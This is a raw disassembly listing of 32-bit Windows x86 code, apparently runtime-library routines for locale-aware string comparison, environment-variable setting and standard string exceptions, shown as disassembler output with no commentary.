push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41700C ; CompareStringA
jmp loc_415DBA
; ---------------------------------------------------------------------------
loc_415C13: ; CODE XREF: sub_415B4F+A7j
cmp eax, edi
jnz loc_415DB8
cmp [ebp+arg_18], ebx
jnz short loc_415C28
mov eax, dword_47F9B4
mov [ebp+arg_18], eax
loc_415C28: ; CODE XREF: sub_415B4F+CFj
cmp esi, ebx
jz short loc_415C35
cmp [ebp+arg_14], ebx
jnz loc_415CCD
loc_415C35: ; CODE XREF: sub_415B4F+DBj
cmp esi, [ebp+arg_14]
jnz short loc_415C42
loc_415C3A: ; CODE XREF: sub_415B4F+13Cj
; sub_415B4F+16Dj
push 2
loc_415C3C: ; CODE XREF: sub_415B4F+146j
pop eax
jmp loc_415DBA
; ---------------------------------------------------------------------------
loc_415C42: ; CODE XREF: sub_415B4F+E9j
cmp [ebp+arg_14], edi
jle short loc_415C4E
loc_415C47: ; CODE XREF: sub_415B4F+151j
; sub_415B4F+159j ...
mov eax, edi
jmp loc_415DBA
; ---------------------------------------------------------------------------
loc_415C4E: ; CODE XREF: sub_415B4F+F6j
cmp esi, edi
jg short loc_415C93
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_417154 ; GetCPInfo
test eax, eax
jz loc_415DB8
cmp esi, ebx
jle short loc_415C97
cmp [ebp+var_3C], 2
jb short loc_415C93
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_415C93
loc_415C79: ; CODE XREF: sub_415B4F+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_415C93
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_415C8D
cmp cl, dl
jbe short loc_415C3A
loc_415C8D: ; CODE XREF: sub_415B4F+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_415C79
loc_415C93: ; CODE XREF: sub_415B4F+101j
; sub_415B4F+120j ...
push 3
jmp short loc_415C3C
; ---------------------------------------------------------------------------
loc_415C97: ; CODE XREF: sub_415B4F+11Aj
cmp [ebp+arg_14], ebx
jle short loc_415CCD
cmp [ebp+var_3C], 2
jb short loc_415C47
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_415C47
loc_415CAA: ; CODE XREF: sub_415B4F+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_415C47
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_415CC2
cmp cl, dl
jbe loc_415C3A
loc_415CC2: ; CODE XREF: sub_415B4F+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_415CAA
jmp loc_415C47
; ---------------------------------------------------------------------------
loc_415CCD: ; CODE XREF: sub_415B4F+E0j
; sub_415B4F+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_4170C4 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_415DB8
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_40B690
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_415D1C
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_415D1C: ; CODE XREF: sub_415B4F+1B5j
cmp [ebp+var_24], ebx
jz loc_415DB8
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_4170C4
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_415DB8
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_415DB8
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40B690
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_415D87
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_415D87: ; CODE XREF: sub_415B4F+224j
cmp edi, ebx
jz short loc_415DB8
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_4170C4 ; MultiByteToWideChar
test eax, eax
jz short loc_415DB8
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_417008 ; CompareStringW
jmp short loc_415DBA
; ---------------------------------------------------------------------------
loc_415DB8: ; CODE XREF: sub_415B4F+63j
; sub_415B4F+C6j ...
xor eax, eax
loc_415DBA: ; CODE XREF: sub_415B4F+BFj
; sub_415B4F+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_415B4F endp
; =============== S U B R O U T I N E =======================================
sub_415DCC proc near ; CODE XREF: sub_411E1B+81p
; sub_415B4F+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_415DE9
loc_415DDC: ; CODE XREF: sub_415DCC+1Bj
cmp byte ptr [eax], 0
jz short loc_415DE9
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_415DDC
loc_415DE9: ; CODE XREF: sub_415DCC+Ej
; sub_415DCC+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_415DF4
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_415DF4: ; CODE XREF: sub_415DCC+21j
mov eax, edx
retn
sub_415DCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DF7 proc near ; CODE XREF: sub_415AE1+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_415E5B
push 3Dh
push [ebp+arg_0]
call sub_41603D
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_415E5B
cmp [ebp+arg_0], esi
jz short loc_415E5B
mov eax, dword_47F93C
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_47F940
jnz short loc_415E41
push eax
call sub_415FD6
pop ecx
mov dword_47F93C, eax
loc_415E41: ; CODE XREF: sub_415DF7+3Cj
cmp eax, edi
jnz short loc_415E99
cmp [ebp+arg_4], edi
jz short loc_415E63
cmp dword_47F944, edi
jz short loc_415E63
call sub_415AE1
test eax, eax
jz short loc_415E99
loc_415E5B: ; CODE XREF: sub_415DF7+Dj
; sub_415DF7+22j ...
or eax, 0FFFFFFFFh
loc_415E5E: ; CODE XREF: sub_415DF7+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415E63: ; CODE XREF: sub_415DF7+51j
; sub_415DF7+59j
cmp ebx, edi
jnz loc_415F77
push 4
call sub_40B6BF
cmp eax, edi
pop ecx
mov dword_47F93C, eax
jz short loc_415E5B
mov [eax], edi
cmp dword_47F944, edi
jnz short loc_415E99
push 4
call sub_40B6BF
cmp eax, edi
pop ecx
mov dword_47F944, eax
jz short loc_415E5B
mov [eax], edi
loc_415E99: ; CODE XREF: sub_415DF7+4Cj
; sub_415DF7+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_47F93C
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_415F7E
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_415EF9
cmp dword ptr [edi], 0
jz short loc_415EF9
test ebx, ebx
jz short loc_415EF1
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_40B771
pop ecx
loc_415ECB: ; CODE XREF: sub_415DF7+E2j
cmp dword ptr [edi], 0
jz short loc_415EDB
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_415ECB
; ---------------------------------------------------------------------------
loc_415EDB: ; CODE XREF: sub_415DF7+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_40C4F8
pop ecx
test eax, eax
pop ecx
jz short loc_415F2B
jmp short loc_415F26
; ---------------------------------------------------------------------------
loc_415EF1: ; CODE XREF: sub_415DF7+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_415F2B
; ---------------------------------------------------------------------------
loc_415EF9: ; CODE XREF: sub_415DF7+BDj
; sub_415DF7+C2j
test ebx, ebx
jnz short loc_415F77
test esi, esi
jge short loc_415F03
neg esi
loc_415F03: ; CODE XREF: sub_415DF7+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_40C4F8
pop ecx
test eax, eax
pop ecx
jz loc_415E5B
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_415F26: ; CODE XREF: sub_415DF7+F8j
mov dword_47F93C, eax
loc_415F2B: ; CODE XREF: sub_415DF7+F6j
; sub_415DF7+100j
cmp [ebp+arg_4], 0
jz short loc_415F77
push [ebp+arg_0]
call sub_40B5B0
inc eax
inc eax
push eax
call sub_40B6BF
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_415F77
push [ebp+arg_0]
push esi
call sub_40CD70
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_417004 ; SetEnvironmentVariableA
push esi
call sub_40B771
pop ecx
loc_415F77: ; CODE XREF: sub_415DF7+6Ej
; sub_415DF7+104j ...
xor eax, eax
jmp loc_415E5E
sub_415DF7 endp
; =============== S U B R O U T I N E =======================================
sub_415F7E proc near ; CODE XREF: sub_415DF7+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_47F93C
push edi
mov eax, [esi]
test eax, eax
jz short loc_415FB9
mov edi, [esp+8+arg_4]
loc_415F90: ; CODE XREF: sub_415F7E+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_415AA2
add esp, 0Ch
test eax, eax
jnz short loc_415FAF
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_415FC9
test al, al
jz short loc_415FC9
loc_415FAF: ; CODE XREF: sub_415F7E+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_415F90
loc_415FB9: ; CODE XREF: sub_415F7E+Cj
mov eax, esi
sub eax, dword_47F93C
sar eax, 2
neg eax
loc_415FC6: ; CODE XREF: sub_415F7E+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_415FC9: ; CODE XREF: sub_415F7E+2Bj
; sub_415F7E+2Fj
mov eax, esi
sub eax, dword_47F93C
sar eax, 2
jmp short loc_415FC6
sub_415F7E endp
; =============== S U B R O U T I N E =======================================
sub_415FD6 proc near ; CODE XREF: sub_415DF7+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_415FE5
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_415FE5: ; CODE XREF: sub_415FD6+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_415FF7
loc_415FED: ; CODE XREF: sub_415FD6+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_415FED
loc_415FF7: ; CODE XREF: sub_415FD6+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_40B6BF
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_416018
push 9
call sub_40D60A
pop ecx
loc_416018: ; CODE XREF: sub_415FD6+38j
mov eax, [edi]
mov ebx, edi
loc_41601C: ; CODE XREF: sub_415FD6+5Bj
test eax, eax
jz short loc_416033
push eax
add ebx, 4
call sub_4160B0
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_41601C
; ---------------------------------------------------------------------------
loc_416033: ; CODE XREF: sub_415FD6+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_415FD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41603D proc near ; CODE XREF: sub_415DF7+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_480D5C, 0
jnz short loc_416058
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CFC0
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_416058: ; CODE XREF: sub_41603D+Aj
mov ecx, [ebp+arg_0]
loc_41605B: ; CODE XREF: sub_41603D+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_41609E
movzx edx, al
test byte_480E61[edx], 4
jz short loc_41608A
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_416095
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_416099
jmp short loc_416092
; ---------------------------------------------------------------------------
loc_41608A: ; CODE XREF: sub_41603D+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_41609E
loc_416092: ; CODE XREF: sub_41603D+4Bj
inc ecx
jmp short loc_41605B
; ---------------------------------------------------------------------------
loc_416095: ; CODE XREF: sub_41603D+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_416099: ; CODE XREF: sub_41603D+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41609E: ; CODE XREF: sub_41603D+25j
; sub_41603D+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_41603D endp
; =============== S U B R O U T I N E =======================================
sub_4160B0 proc near ; CODE XREF: sub_405185+21p
; sub_415FD6+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4160D7
push esi
call sub_40B5B0
inc eax
push eax
call sub_40B6BF
pop ecx
test eax, eax
pop ecx
jz short loc_4160D7
push esi
push eax
call sub_40CD70
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4160D7: ; CODE XREF: sub_4160B0+7j
; sub_4160B0+1Aj
xor eax, eax
pop esi
retn
sub_4160B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4160E0 proc near ; CODE XREF: sub_40258B+12p
; sub_4025E5+12p ...
mov eax, offset loc_4165D4
call sub_40BDC8
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_402790
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_40B5B0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_4027C8
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41613A
lea eax, [ebp-3Ch]
push offset dword_417F68
push eax
mov dword ptr [ebp-3Ch], offset off_417C2C
call sub_41653B
pop esi
sub_4160E0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41613A proc near ; CODE XREF: sub_4160E0+3Fp
; sub_41630C+3Fp
mov eax, offset loc_4165E8
call sub_40BDC8
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_422270
call sub_416460
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_402790
push dword_417C58
mov ecx, edi
push 0
push ebx
call sub_40263D
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_417C4C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41613A endp
; =============== S U B R O U T I N E =======================================
sub_41619E proc near ; DATA XREF: .nsp0:00417C30o
; .nsp0:00417C50o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4161AA
mov eax, offset dword_417218
locret_4161AA: ; CODE XREF: sub_41619E+5j
retn
sub_41619E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161AB proc near ; DATA XREF: .nsp0:00417C54o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_416221
lea eax, [ebp+var_1C]
push offset dword_417FD8
push eax
call sub_41653B
sub_4161AB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4161C8 proc near ; CODE XREF: .nsp0:00416208p
; DATA XREF: .nsp0:00417FDCo
mov eax, offset loc_4165FC
call sub_40BDC8
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_417C4C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402790
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4164E7
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_4161C8 endp
; ---------------------------------------------------------------------------
loc_416205: ; DATA XREF: .nsp0:off_417C4Co
push esi
mov esi, ecx
call sub_4161C8
test byte ptr [esp+8], 1
jz short loc_41621B
push esi
call sub_40BE38
pop ecx
loc_41621B: ; CODE XREF: .nsp0:00416212j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_416221 proc near ; CODE XREF: sub_4161AB+Ap
; sub_4162F4+7p ...
mov eax, offset loc_416610
call sub_40BDC8
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_41649D
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_402790
push dword_417C58
mov ecx, edi
push 0
push ebx
call sub_40263D
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_417C4C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_416221 endp
; =============== S U B R O U T I N E =======================================
sub_41627E proc near ; CODE XREF: sub_4162BB+20p
; DATA XREF: .nsp0:00417F6Co
mov eax, offset loc_416624
call sub_40BDC8
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_417C4C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402790
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4164E7
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41627E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162BB proc near ; DATA XREF: .nsp0:00417C34o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4162F4
lea eax, [ebp+var_1C]
push offset dword_417F68
push eax
call sub_41653B
loc_4162D8: ; DATA XREF: .nsp0:off_417C2Co
push esi
mov esi, ecx
call sub_41627E
test [esp+20h+var_18], 1
jz short loc_4162EE
push esi
call sub_40BE38
pop ecx
loc_4162EE: ; CODE XREF: sub_4162BB+2Aj
mov eax, esi
pop esi
retn 4
sub_4162BB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4162F4 proc near ; CODE XREF: sub_4162BB+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_416221
mov dword ptr [esi], offset off_417C2C
mov eax, esi
pop esi
retn 4
sub_4162F4 endp
; =============== S U B R O U T I N E =======================================
sub_41630C proc near ; CODE XREF: sub_40263D+13p
; sub_4027FD+Ep
mov eax, offset loc_416638
call sub_40BDC8
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_402790
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_40B5B0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_4027C8
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41613A
lea eax, [ebp-3Ch]
push offset dword_418090
push eax
mov dword ptr [ebp-3Ch], offset off_417C60
call sub_41653B
pop esi
sub_41630C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416366 proc near ; CODE XREF: sub_4163A3+20p
; DATA XREF: .nsp0:00418094o
mov eax, offset loc_41664C
call sub_40BDC8
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_417C4C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402790
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4164E7
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_416366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4163A3 proc near ; DATA XREF: .nsp0:00417C68o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4163DC
lea eax, [ebp+var_1C]
push offset dword_418090
push eax
call sub_41653B
loc_4163C0: ; DATA XREF: .nsp0:off_417C60o
push esi
mov esi, ecx
call sub_416366
test [esp+20h+var_18], 1
jz short loc_4163D6
push esi
call sub_40BE38
pop ecx
loc_4163D6: ; CODE XREF: sub_4163A3+2Aj
mov eax, esi
pop esi
retn 4
sub_4163A3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4163DC proc near ; CODE XREF: sub_4163A3+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_416221
mov dword ptr [esi], offset off_417C60
mov eax, esi
pop esi
retn 4
sub_4163DC endp
; =============== S U B R O U T I N E =======================================
sub_4163F4 proc near ; DATA XREF: .nsp0:00419008o
; FUNCTION CHUNK AT 0041642A SIZE 0000000C BYTES
test byte_47FC04, 1
jnz short loc_416404
or byte_47FC04, 1
loc_416404: ; CODE XREF: sub_4163F4+7j
call sub_41641E
test byte_480FA0, 1
jnz short loc_416419
or byte_480FA0, 1
loc_416419: ; CODE XREF: sub_4163F4+1Cj
jmp loc_41642A
sub_4163F4 endp
; =============== S U B R O U T I N E =======================================
sub_41641E proc near ; CODE XREF: sub_4163F4:loc_416404p
push offset nullsub_1
call sub_40C200
pop ecx
retn
sub_41641E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4163F4
loc_41642A: ; CODE XREF: sub_4163F4:loc_416419j
push offset nullsub_1
call sub_40C200
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4163F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_416438 proc near ; CODE XREF: sub_401F1D+5Ep
; sub_403E11+157p
jmp dword_4171B4
sub_416438 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41643E proc near ; CODE XREF: sub_40BA34+23p
; sub_40BCD8+13p
jmp dword_41710C
sub_41643E endp
; =============== S U B R O U T I N E =======================================
sub_416444 proc near ; DATA XREF: .nsp0:off_417C88o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4164E7
test [esp+4+arg_0], 1
jz short loc_41645A
push esi
call sub_40BE38
pop ecx
loc_41645A: ; CODE XREF: sub_416444+Dj
mov eax, esi
pop esi
retn 4
sub_416444 endp
; =============== S U B R O U T I N E =======================================
sub_416460 proc near ; CODE XREF: sub_41613A+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_417C88
push dword ptr [edi]
call sub_40B5B0
inc eax
push eax
call sub_40C185
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_41648F
push dword ptr [edi]
push eax
call sub_40CD70
pop ecx
pop ecx
loc_41648F: ; CODE XREF: sub_416460+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_416460 endp
; =============== S U B R O U T I N E =======================================
sub_41649D proc near ; CODE XREF: sub_416221+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_417C88
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4164DA
push dword ptr [edi+4]
call sub_40B5B0
inc eax
push eax
call sub_40C185
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4164E0
push dword ptr [edi+4]
push eax
call sub_40CD70
pop ecx
pop ecx
jmp short loc_4164E0
; ---------------------------------------------------------------------------
loc_4164DA: ; CODE XREF: sub_41649D+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4164E0: ; CODE XREF: sub_41649D+2Ej
; sub_41649D+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_41649D endp
; =============== S U B R O U T I N E =======================================
sub_4164E7 proc near ; CODE XREF: sub_4161C8+2Bp
; sub_41627E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_417C88
jz short locret_4164FC
push dword ptr [ecx+4]
call sub_40BE38
pop ecx
locret_4164FC: ; CODE XREF: sub_4164E7+Aj
retn
sub_4164E7 endp
; =============== S U B R O U T I N E =======================================
sub_4164FD proc near ; DATA XREF: .nsp0:00417C8Co
mov eax, [ecx+4]
test eax, eax
jnz short locret_416509
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_416509: ; CODE XREF: sub_4164FD+5j
retn
sub_4164FD endp
; =============== S U B R O U T I N E =======================================
sub_41650A proc near ; CODE XREF: .nsp0:00416522p
mov dword ptr [ecx], offset off_417CA8
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_41651E
push ecx
call sub_40B771
pop ecx
locret_41651E: ; CODE XREF: sub_41650A+Bj
retn
sub_41650A endp
; ---------------------------------------------------------------------------
loc_41651F: ; DATA XREF: .nsp0:off_417CA8o
push esi
mov esi, ecx
call sub_41650A
test byte ptr [esp+8], 1
jz short loc_416535
push esi
call sub_40BE38
pop ecx
loc_416535: ; CODE XREF: .nsp0:0041652Cj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41653B proc near ; CODE XREF: sub_4160E0+54p
; sub_4161AB+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_417CB0
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_417140 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_41653B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_416578 proc near ; DATA XREF: .nsp0:00417E5Co
; FUNCTION CHUNK AT 00402583 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_402583
sub_416578 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_416596
mov ecx, [ebp+8]
jmp loc_402583
; ---------------------------------------------------------------------------
locret_416596: ; CODE XREF: .nsp0:00416588j
retn
; ---------------------------------------------------------------------------
loc_416597: ; DATA XREF: sub_40215Eo
mov eax, offset dword_417E60
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_402583
; ---------------------------------------------------------------------------
loc_4165AC: ; DATA XREF: .nsp0:00417E88o
lea ecx, [ebp-1Ch]
jmp loc_402583
; ---------------------------------------------------------------------------
loc_4165B4: ; DATA XREF: sub_4022FDo
mov eax, offset dword_417E8C
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 10h
loc_4165C0: ; DATA XREF: sub_402864o
mov eax, offset dword_417EDC
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_402583
; ---------------------------------------------------------------------------
loc_4165D4: ; DATA XREF: sub_4160E0o
mov eax, offset dword_417F78
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
jmp sub_4164E7
; ---------------------------------------------------------------------------
loc_4165E8: ; DATA XREF: sub_41613Ao
mov eax, offset dword_417FA0
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4164E7
; ---------------------------------------------------------------------------
loc_4165FC: ; DATA XREF: sub_4161C8o
mov eax, offset dword_417FE8
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4164E7
; ---------------------------------------------------------------------------
